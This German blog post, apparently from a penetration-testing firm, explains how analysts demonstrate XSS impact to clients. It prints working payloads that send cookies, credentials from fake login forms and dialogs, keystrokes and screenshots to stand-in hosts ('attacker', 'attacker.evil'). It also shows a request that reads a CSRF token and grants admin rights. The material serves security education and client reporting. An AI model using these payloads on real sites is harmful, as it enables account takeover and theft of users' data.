Cross-Site Scripting (XSS) zählt zu den bekanntesten Schwachstellen in Webanwendungen und dennoch begegnet sie unseren Security Analyst*innen aus dem usd HeroLab regelmäßig in unseren spezialisierten Web Application Pentests. XSS-Schwachstellen ermöglichen es, beliebigen JavaScript-Code in Webseiten einzuschleusen, was erhebliche Folgen für Unternehmen und ihre Nutzer*innen haben kann. Die potenziellen Auswirkungen reichen von der Manipulation von Inhalten bis hin zum Diebstahl sensibler Daten. Unsere Pentest Professionals identifizieren nicht nur relevante Schwachstellen, sondern sie machen sie für unsere Kunden greifbar. Denn nur wenn Risiken verständlich kommuniziert werden, können wir unserem Anspruch gerecht werden: more security.
Wie gravierend ein XSS-Angriff tatsächlich ist, hängt stark vom konkreten Anwendungskontext ab. Gerade weil moderne Webanwendungen häufig geschäftskritische Prozesse unterstützen und vertrauliche Informationen verarbeiten, ist ein klares Verständnis der Risiken unerlässlich.
In diesem Beitrag zeigen wir praxisnahe Methoden, mit denen unsere Security Analyst*innen ihren Kunden die festgestellten XSS-Schwachstellen anschaulich und nachvollziehbar demonstrieren, sogenannte Proof-of-Concepts. Ziel ist es, die Auswirkungen greifbar zu machen und ein gemeinsames Verständnis für die Dringlichkeit zu schaffen. Denn je klarer das Risiko erkennbar ist, desto schneller und gezielter lassen sich Schutzmaßnahmen umsetzen.
Was ist ein Proof-of-Concept?
Ein Proof-of-Concept für eine XSS-Schwachstelle erfüllt eine zentrale Rolle im professionellen Umgang mit der Sicherheit von Webanwendungen. Ziel ist es, eine potenzielle Sicherheitslücke nicht nur theoretisch zu identifizieren, sondern ihre Auswirkungen nachvollziehbar und reproduzierbar zu demonstrieren. Gerade im Rahmen unserer Penetrationstests ist ein funktionierender Nachweis der Schlüssel zur klaren Bewertung von Risiken.
Ein guter Nachweis bietet mehrere Vorteile: Erstens schafft er eine solide Faktenbasis für interne und externe Kommunikation, z.B. gegenüber dem Entwicklungsteam, der IT-Leitung oder externen Stakeholdern. Ein nachvollziehbares Beispiel mit einer konkreten Payload macht die Schwachstelle greifbar und ermöglicht eine gezielte Priorisierung in der Sicherheitsroadmap. Für den Nachweis einer XSS-Lücke wird häufig die einfache Payload alert(1) eingesetzt. Sie öffnet lediglich ein kleines Pop-Up mit der Zahl 1. Damit lässt sich zwar belegen, dass eine Schwachstelle vorhanden ist, doch das tatsächliche Gefahrenpotenzial bleibt verborgen.
Zweitens hilft ein Proof-of-Concept dabei, False Positives zuverlässig auszuschließen, was sowohl Zeit als auch Ressourcen spart. Gerade in größeren Systemlandschaften mit vielen Abhängigkeiten ist dieser Aspekt wichtig. Darüber hinaus leistet der Nachweis einen wichtigen Beitrag zur Risikobewertung: Ob es sich um eine rein theoretische Schwachstelle oder um ein tatsächliches Einfallstor handelt, lässt sich erst durch eine fundierte Demonstration sicher beurteilen.
Extrahieren von Geheimnissen
Eine vergleichbar einfache Methode für den Proof-of-Concept einer XSS-Schwachstelle ist Geheimnisse, wie beispielsweise die Sitzungs-ID aus Cookies oder dem Local/Session Storage, zu extrahieren. Dies zeigt deutlich, dass durch diese Schwachstelle die Accounts von Betroffenen kompromittiert werden könnten. Zur Demonstration kann das Geheimnis beispielsweise per Pop-Up gezeigt werden. In der folgenden Beispiel-Payload wird die Sitzungs-ID aus dem Local Storage geladen und in einem Pop-Up angezeigt.
<script>alert(window.localStorage.session)</script>
Noch anschaulicher ist allerdings eine Methode, bei der die sensiblen Daten an eine Domain übertragen werden, die von unseren Analyst*innen im Rahmen des Web Application Pentests kontrolliert wird. Das folgende Beispiel verschickt Cookies an eine solche URL:
<script>
fetch("http://attacker:8000/test?cookies=" + encodeURI(document.cookie))
</script>
Zusätzlich kann ein Ausschnitt aus dem Server-Log zeigen, dass die Daten am Ende bei unseren Analyst*innen ankommen.
Diese Methode zeigt mit einer sehr kleinen Payload direkt schon eine schwerwiegende Auswirkung der Schwachstelle. Zudem stellt diese Methode eindeutig dar, dass die Daten ohne viel Aufwand übermittelt werden können. Damit diese Art des Nachweises der Schwachstelle aber z.B. in unseren Pentests umsetzbar ist, müssen von der Anwendung Geheimnisse so gespeichert werden, dass sie vom JavaScript-Code ausgelesen werden können. Allerdings kann eine Sitzungs-ID in einem Cookie mit der HTTPOnly-Flag beispielsweise diese Methode verhindern da der JavaScript-Code nicht auf die Sitzungs-ID zugreifen kann und somit keine sensiblen Daten ausgelesen werden können. Dieses Beispiel zeigt, wann diese Art von Nachweis nicht funktioniert.
CSRF-Angriffe
Falls Nutzer*innen über die Webanwendung sensible oder administrative Aktionen durchführen (z. B. Deaktivieren von Sicherheitsmaßnahmen oder Erteilen von Administrationsrechten), könnten Angreifer dies ausnutzen. Ähnlich wie bei der sogenannten Cross-Site Request Forgery (CSRF) Schwachstelle, können Angreifer durch eine XSS-Schwachstelle im Namen der betroffenen Nutzer*innen solche Aktionen durchführen. Die zum Schutz vor CSRF-Angriffen verwendeten Sicherheitsmaßnahmen sowie CSRF-Tokens bewirken an der Stelle allerdings nichts, da Angreifer durch die XSS-Schwachstelle auf Daten in der Webseite zugreifen können.
Das folgende Beispiel findet in einer Webanwendung statt, in welcher administrative Personen die Möglichkeit haben, anderen Accounts administrative Berechtigungen zu erteilen. Realisiert wurde dies durch den Endpunkt /make-admin, welcher zum Schutz vor CSRF-Angriffe zusätzlich einen CSRF-Token verlangt, der im Formular der Webseite unsichtbar mitgegeben wird. Dies würde jedoch Angreifer im Falle einer XSS-Schwachstelle nicht stoppen, da sie den Token einfach auslesen können.
<script>
fetch("/make-admin",{
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: `csrf=${document.getElementsByName('csrf')[0].value}&username=attacker`
});
</script>
Falls eine Anwendung über solche Aktionen verfügt, kann der Beweis der XSS-Schwachstelle hierüber sehr deutlich die Auswirkungen der Schwachstelle demonstrieren. Der Aufwand dieser Methode kann stark von der Architektur der Anwendung abhängen. Verwendet die Webanwendung eine API oder normale Formulare, dann sollte diese Methode meistens kein Problem sein. Falls die Webanwendung auf Technologien wie Viewstate zugreift, bei denen Anfragen schwer manuell zu reproduzieren sind, dann ist ein großer Aufwand mit dem Nachweis verbunden. Zudem müssen die Payloads in dieser Nachweis-Methode immer an die Anwendung angepasst werden und stellen daher einen höheren Aufwand dar.
Oftmals sind XSS-Schwachstellen auf bestimmte Funktionalitäten oder Seiten beschränkt. Je nach Aufbau der Seite kann mit dieser Methode aber jede beliebige Funktion verwendet werden. Solange also die Anwendung sehr sensible oder administrative Funktionen beinhaltet, können diese möglicherweise durch diese Methode ausgenutzt werden, um die Auswirkung auf eine beeindruckende Weise zu demonstrieren.
Password Hijacking
XSS-Schwachstellen erlauben auch sehr kreative Ausnutzungen, die selbst das Entwenden des Passworts ermöglichen können. Da Angreifer eigenen JavaScript-Code einschleusen können, haben sie viele Möglichkeiten, eigene Elemente oder Eingabefelder in die Webseite einzubinden. Da Nutzer*innen der Webanwendung per se vertrauen und Angreifer die Anwendung direkt modifizieren können, geben Nutzer*innen in der Regel ihre Anmeldedaten bereitwillig ein.
Diese Schwachstelle kann auf verschiedenen Wegen ausgenutzt werden, wobei jedes Vorgehen unterschiedliche Angriffsvektoren nutzt. Für einen Proof-of-Concept unserer Analyst*innen kann beispielsweise die Autovervollständigung des Browsers genutzt werden, indem ein Anmeldeformular in die Webseite eingebettet wird, welches dem echten Anmeldeformular gleicht. Falls Nutzer*innen ihr Passwort in der Autovervollständigung des Browsers gespeichert haben, wird der Browser das Formular ausfüllen und unsere Analyst*innen könnten die Anmeldedaten einfach extrahieren.
<input id="capture-username"><input type="password" id="capture-password">
<script>
setTimeout(() => fetch(`http://attacker.evil:8000?username=${btoa(document.getElementById("capture-username").value)}&password=${btoa(document.getElementById("capture-password").value)}`), 1000)
</script>
Eine weitere Methode wäre sich auf das Vertrauen der Nutzer*innen in die Anwendung zu verlassen und mithilfe neuer UI-Elemente die Nutzer*innen zur erneuten Passworteingabe aufzufordern. Ein Dialog, der den Nutzer*innen mitteilt, dass sie abgemeldet wurden und sich erneut einloggen sollen, kann verblüffend überzeugend sein.
<dialog open=true>
<form action="http://attacker.evil:8000/login">
<p>You were logged out. Please log in again:</p>
Username: <input name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Verify">
</form>
</dialog>
Aufgrund der vollständigen Kompromittierung des Accounts demonstriert diese Art des Nachweises den Schweregrad der XSS-Schwachstelle sehr deutlich. Gerade der Nachweis per Dialog funktioniert in vielen Situationen und kann mit wenigen Stiländerungen an das Design der Anwendung angepasst werden, um die Glaubwürdigkeit zu bestärken.
Key Logger
Eine fortgeschrittenere Methode für den Proof-of-Concept ist das Einschleusen eines Key-Loggers. Mit nur einer kleinen Payload ist es möglich, über die XSS-Schwachstelle einen Key-Logger in die Webseite einzuschleusen. Dieser Key-Logger schneidet die nachfolgenden Eingaben der Nutzerinnen in jegliche Eingabefelder genau mit und gibt diese Eingaben an unsere Analyst*innen weiter. Die folgende Payload zeigt beispielsweise einen solchen Key-Logger, der bei jeder Eingabe den aktuellen Wert des Eingabefelds an unsere Analyst*innen weiterschickt.
<script>
document.body.addEventListener("input",
(e) => fetch(`http://attacker.evil:8000/keylogger?name=${btoa(e.srcElement.name)}&value=${btoa(e.srcElement.value)}`));
</script>
Zusätzlich kann der Server-Log gezeigt werden, um die erhaltenen sensiblen Daten zu veranschaulichen. Falls die Anwendung eine Single-Page-Application ist, wodurch JavaScript-Code zwischen der Seitennavigation geladen bleibt, ermöglicht diese Methode eine weitere Möglichkeit zum Proof-of-Concept, um aus einer funktionalitätsspezifischen Schwachstelle weitreichende Auswirkungen zu demonstrieren.
Insbesondere in Bereichen mit vertraulichen Nutzereingaben, etwa bei Zahlungsdaten, zeigt dieser Proof-of-Concept, wie gravierend die Folgen einer XSS-Schwachstelle sein können.
Screenshots
In manchen Fällen können unsere Analyst*innen noch einen Schritt weitergehen und nicht nur die Eingaben der Nutzer*innen mitschneiden, sondern den kompletten Bildschirm der Nutzenden überwachen. Mithilfe einer etwas größeren Payload können XSS-Schwachstellen dafür genutzt werden, um Screenshots in Echtzeit zu übermitteln.
Die folgende Payload macht sich die JavaScript-Bibliothek html2canvas zu Nutze, um jede Sekunde einen Screenshot der Webanwendung zu versenden. Im Rahmen des Pentests können unsere Analyst*innen somit genau verfolgen, was die Nutzer*innen auf der Webseite sehen und eingeben, egal wie sensibel die Daten sind.
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.0/html2canvas.min.js"></script>
<script>
setInterval(() => html2canvas(document.body,{foreignObjectRendering: false,crossOrigin:'Anonymous',allowTaint:true}).then((c) => fetch("http://attacker.evil:8000/screenshot", {method:"POST",body:c.toDataURL()})), 1000);
</script>
Gerade während einer Live-Demonstration kann diese Methode viel Aufsehen erlangen und ermöglicht durch einen sehr visuellen Nachweis den Schweregrad und die Auswirkungen der Schwachstelle darzustellen. Jedoch ist diese Demonstration auch mit höherem Aufwand verbunden, da zur visuellen Demonstration eine weitere Komponente erforderlich ist, die die gesendeten Screenshots aus der Sicht der Analyst*innen darstellt. Die verwendete Bibliothek muss außerdem je nach Aufbau der Webseite leicht anders konfiguriert werden und unterstützt potenziell nicht jede Webseite. Es bietet dennoch eine klare, greifbare Darstellung der Schwachstelle und ihres Gefahrenpotenzials.
Was bleibt festzuhalten?
XSS-Schwachstellen lassen sich auf vielfältige Weise nachweisen und die Möglichkeiten sind nahezu unbegrenzt. Jede Webanwendung eröffnet eigene Angriffspfade: Zugriff auf Kamera oder Standort ermöglicht, Nutzer*innen zu überwachen oder zu tracken. Unsere Analyst*innen zeigen solche Risiken durch das Auslesen von Datenströmen, das Mitverfolgen von Sitzungen oder das Erstellen von Screenshots anschaulich auf. Was sie allerdings sichtbar machen, können Angreifer ebenso technisch ausnutzen. Die Folgen sind oft gravierend.
Cross-Site Scripting bietet dafür ein breites Spektrum an Proof-of-Concepts, die selbst nicht-technische Stakeholder überzeugen. Denn ein klarer, nachvollziehbarer Nachweis ist oft der entscheidende Impuls, um Sicherheitslücken ernst zu nehmen und schnell zu schließen. Sie benötigen Hilfe bei der Überprüfung Ihrer Web Application? Kontaktieren Sie uns, wir helfen Ihnen gerne.
